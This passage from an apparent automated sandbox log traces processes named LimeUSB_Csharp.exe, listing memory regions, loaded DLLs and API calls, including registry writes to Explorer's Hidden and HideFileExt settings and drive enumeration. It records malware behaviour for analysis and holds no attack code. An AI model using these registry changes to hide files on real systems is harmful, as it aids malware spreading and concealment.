returned 0x0 [0140.932] CoUninitialize () Thread: id = 64 os_tid = 0x5bc Thread: id = 65 os_tid = 0x544 [0136.645] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0140.925] RegCloseKey (hKey=0x1c4) returned 0x0 [0140.925] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 66 os_tid = 0x6c8 Process: id = "17" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x15dbb000" os_pid = "0x7a8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2844 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2845 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2846 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2847 start_va = 0x110000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2848 start_va = 0xc60000 end_va = 0x1723fff monitored = 1 entry_point = 0x171e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2849 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2850 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2851 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2852 start_va = 0x7fffb000 end_va = 0x7fffbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fffb000" filename = "" Region: id = 2853 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2854 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2855 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2856 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2857 start_va = 0x50000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2858 start_va = 0x7fef8d80000 end_va = 0x7fef8deefff monitored = 1 entry_point = 0x7fef8d81134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 2859 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2860 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2861 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2862 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2863 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2864 start_va = 0x210000 end_va = 0x276fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2865 start_va = 0x280000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2866 start_va = 0x280000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2867 start_va = 0x380000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 2868 start_va = 0x390000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 2870 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2871 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2872 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2873 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2874 start_va = 0x490000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 2875 start_va = 0x490000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 2876 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 2877 start_va = 0x7fef8cd0000 end_va = 0x7fef8d78fff monitored = 1 entry_point = 0x7fef8cd1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 2878 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 2879 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2880 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2881 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2882 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2883 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2884 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2885 start_va = 0x80000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 2886 start_va = 0x5a0000 end_va = 0x727fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 2887 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2888 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2889 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2890 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2891 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2892 start_va = 0x730000 end_va = 0x8b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000730000" filename = "" Region: id = 2893 start_va = 0x1730000 end_va = 0x2b2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001730000" filename = "" Region: id = 2894 start_va = 0x2b30000 end_va = 0x35ecfff monitored = 1 entry_point = 0x35ee3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2895 start_va = 0x2b30000 end_va = 0x35ecfff monitored = 1 entry_point = 0x35ee3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 2896 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2897 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2898 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2899 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 2900 start_va = 0x7fef8e60000 end_va = 0x7fef8e75fff monitored = 0 entry_point = 0x7fef8e6c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 2901 start_va = 0x7fef3c10000 end_va = 0x7fef3cccfff monitored = 0 entry_point = 0x7fef3c97db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 2902 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2903 start_va = 0x70000 end_va = 0x7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2904 start_va = 0x100000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2905 start_va = 0x7fe92360000 end_va = 0x7fe9236ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92360000" filename = "" Region: id = 2906 start_va = 0x7fe92370000 end_va = 0x7fe9237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92370000" filename = "" Region: id = 2907 start_va = 0x7fe92380000 end_va = 0x7fe9240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92380000" filename = "" Region: id = 2908 start_va = 0x7fe92410000 end_va = 0x7fe9247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92410000" filename = "" Region: id = 2909 start_va = 0x390000 end_va = 0x390fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 2910 start_va = 0x410000 end_va = 0x48ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 2911 start_va = 0x3a0000 end_va = 0x3a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2912 start_va = 0x8c0000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 2913 start_va = 0x9c0000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 2914 start_va = 0x2bb0000 end_va = 0x2caffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bb0000" filename = "" Region: id = 2915 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2916 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 2917 start_va = 0x2cb0000 end_va = 0x1acaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002cb0000" filename = "" Region: id = 2918 start_va = 0x1acb0000 end_va = 0x1b02ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acb0000" filename = "" Region: id = 2919 start_va = 0x9c0000 end_va = 0xac0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009c0000" filename = "" Region: id = 2920 start_va = 0xbb0000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bb0000" filename = "" Region: id = 2921 start_va = 0x1b090000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b090000" filename = "" Region: id = 2922 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2923 start_va = 0x1b270000 end_va = 0x1b36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 2924 start_va = 0x1b370000 end_va = 0x1b46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b370000" filename = "" Region: id = 2925 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2926 start_va = 0x1b470000 end_va = 0x1b73efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2927 start_va = 0x7fef03b0000 end_va = 0x7fef19acfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 2930 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 2931 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 2932 start_va = 0x7fe92480000 end_va = 0x7fe924fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92480000" filename = "" Region: id = 2933 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2934 start_va = 0x8c0000 end_va = 0x93cfff monitored = 0 entry_point = 0x8ccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2935 start_va = 0x940000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 2936 start_va = 0x8c0000 end_va = 0x93cfff monitored = 0 entry_point = 0x8ccec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2937 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2938 start_va = 0x7fefb330000 end_va = 0x7fefb332fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 2939 start_va = 0x7fef2ff0000 end_va = 0x7fef313efff monitored = 1 entry_point = 0x7fef2ff1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 2940 start_va = 0x3b0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 2941 start_va = 0x1b740000 end_va = 0x1b97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b740000" filename = "" Region: id = 2942 start_va = 0x7fe92500000 end_va = 0x7fe9250ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92500000" filename = "" Region: id = 2943 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 2944 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 2945 start_va = 0x7feef740000 end_va = 0x7fef03aefff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 2946 start_va = 0x7fef2df0000 end_va = 0x7fef2fe4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 2947 start_va = 0x7feee690000 end_va = 0x7feef735fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 2948 start_va = 0x3d0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 2949 start_va = 0x3e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 2950 start_va = 0x3f0000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 2951 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 2952 start_va = 0x7fef8c30000 end_va = 0x7fef8c45fff monitored = 1 entry_point = 0x7fef8c3e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 2953 start_va = 0x1b980000 end_va = 0x1bc51fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 68 os_tid = 0x3c0 [0146.591] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0149.076] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x20e6c8 | out: phkResult=0x20e6c8*=0x1c4) returned 0x0 [0149.082] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x20e718, lpData=0x0, lpcbData=0x20e710*=0x0 | out: lpType=0x20e718*=0x4, lpData=0x0, lpcbData=0x20e710*=0x4) returned 0x0 [0149.082] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x20e718, lpData=0x20e6f8, lpcbData=0x20e710*=0x4 | out: lpType=0x20e718*=0x4, lpData=0x20e6f8*=0x2, lpcbData=0x20e710*=0x4) returned 0x0 [0149.173] RegQueryValueExW (in: hKey=0x1c4, lpValueName="Hidden", lpReserved=0x0, lpType=0x20e6d8, lpData=0x0, lpcbData=0x20e6d0*=0x0 | out: lpType=0x20e6d8*=0x4, lpData=0x0, lpcbData=0x20e6d0*=0x4) returned 0x0 [0149.176] RegSetValueExW (in: hKey=0x1c4, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x20e748*=0x2, cbData=0x4 | out: lpData=0x20e748*=0x2) returned 0x0 [0149.176] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x20e718, lpData=0x0, lpcbData=0x20e710*=0x0 | out: lpType=0x20e718*=0x4, lpData=0x0, lpcbData=0x20e710*=0x4) returned 0x0 [0149.176] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x20e718, lpData=0x20e6f8, lpcbData=0x20e710*=0x4 | out: lpType=0x20e718*=0x4, lpData=0x20e6f8*=0x1, lpcbData=0x20e710*=0x4) returned 0x0 [0149.177] RegQueryValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x20e6d8, lpData=0x0, lpcbData=0x20e6d0*=0x0 | out: lpType=0x20e6d8*=0x4, lpData=0x0, lpcbData=0x20e6d0*=0x4) returned 0x0 [0149.177] RegSetValueExW (in: hKey=0x1c4, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x20e748*=0x1, cbData=0x4 | out: lpData=0x20e748*=0x1) returned 0x0 [0149.184] GetLogicalDrives () returned 0x4 [0149.255] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x20d658 | out: phkResult=0x20d658*=0x0) returned 0x2 [0149.256] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0149.268] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x20e0b0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0149.273] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.276] CoGetContextToken (in: pToken=0x20f560 | out: pToken=0x20f560) returned 0x0 [0149.276] CObjectContext::QueryInterface () returned 0x0 [0149.276] CObjectContext::GetCurrentThreadType () returned 0x0 [0149.276] Release () returned 0x0 [0149.278] CoGetContextToken (in: pToken=0x20f000 | out: pToken=0x20f000) returned 0x0 [0149.278] CObjectContext::QueryInterface () returned 0x0 [0149.278] CObjectContext::GetCurrentThreadType () returned 0x0 [0149.278] Release () returned 0x0 [0149.279] CoGetContextToken (in: pToken=0x20f000 | out: pToken=0x20f000) returned 0x0 [0149.279] CObjectContext::QueryInterface () returned 0x0 [0149.279] CObjectContext::GetCurrentThreadType () returned 0x0 [0149.279] Release () returned 0x0 [0149.287] CoGetContextToken (in: pToken=0x20f000 | out: pToken=0x20f000) returned 0x0 [0149.287] CObjectContext::QueryInterface () returned 0x0 [0149.287] CObjectContext::GetCurrentThreadType () returned 0x0 [0149.288] Release () returned 0x0 [0149.293] CoGetContextToken (in: pToken=0x20f020 | out: pToken=0x20f020) returned 0x0 [0149.294] CObjectContext::QueryInterface () returned 0x0 [0149.294] CObjectContext::GetCurrentThreadType () returned 0x0 [0149.294] Release () returned 0x0 [0149.297] CoUninitialize () Thread: id = 69 os_tid = 0x41c Thread: id = 70 os_tid = 0x5dc [0147.505] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0149.283] RegCloseKey (hKey=0x1c4) returned 0x0 [0149.284] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 71 os_tid = 0x4f0 Process: id = "18" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x13d50000" os_pid = "0x81c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2979 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2980 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2981 start_va = 0x40000 